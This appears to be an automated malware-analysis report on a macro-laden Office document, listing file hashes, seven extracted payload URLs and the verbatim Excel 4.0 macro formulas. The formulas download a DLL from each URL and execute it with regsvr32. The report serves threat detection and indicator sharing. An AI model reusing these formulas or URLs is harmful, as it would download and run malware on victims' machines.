General
-
Target
c589ab74edd949edb7f6946d7f6f69b5c3c8207fedc5eb9cabf1bb8bb0ff9e22
-
Size
122KB
-
MD5
3d354c4b08b4c3705c8accc4ee798a87
-
SHA1
660551774ad61a2419c2359118401e93186966b9
-
SHA256
c589ab74edd949edb7f6946d7f6f69b5c3c8207fedc5eb9cabf1bb8bb0ff9e22
-
SHA512
917f717e0a6a539d1aabd842c01fb2f22865219b3ddf963d09361f0178d87a478da82fad54769c508a15d4b03a92d4de822c827e15be527fa2387e3e995293c6
-
SSDEEP
3072:QfCABRIc/arWmzgyYTnYNelISKXhsVskl4Ojkk:QfLBRzSTgyYz5p6cQk
Malware Config
Extracted
https://www.bookcorner.com.pk/admin/k6J281rll/
https://www.almoeqatar.com/cgi-bin/ktGPwFvtgWUvu/
https://appleinfoway.com/venv/fn6foVa/
https://aopda.org/wp-content/uploads/5DO33Xrj3cIc7/
https://almoiz.com/urdu/pw8kn/
https://www.awam.be/wp-admin/oSNi/
https://www.littleplanetclass.com/assets/PLEPX0R1/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://www.bookcorner.com.pk/admin/k6J281rll/","..\whxc.dll",0,0) =IF('IJEGVS'!H16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://www.almoeqatar.com/cgi-bin/ktGPwFvtgWUvu/","..\whxc.dll",0,0)) =IF('IJEGVS'!H18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://appleinfoway.com/venv/fn6foVa/","..\whxc.dll",0,0)) =IF('IJEGVS'!H20<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://aopda.org/wp-content/uploads/5DO33Xrj3cIc7/","..\whxc.dll",0,0)) =IF('IJEGVS'!H22<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://almoiz.com/urdu/pw8kn/","..\whxc.dll",0,0)) =IF('IJEGVS'!H24<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://www.awam.be/wp-admin/oSNi/","..\whxc.dll",0,0)) =IF('IJEGVS'!H26<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://www.littleplanetclass.com/assets/PLEPX0R1/","..\whxc.dll",0,0)) =IF('IJEGVS'!H28<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\whxc.dll") =RETURN()
Signatures
-
Suspicious Office macro 1 IoCs
Office document equipped with 4.0 macros.
Files
-
c589ab74edd949edb7f6946d7f6f69b5c3c8207fedc5eb9cabf1bb8bb0ff9e22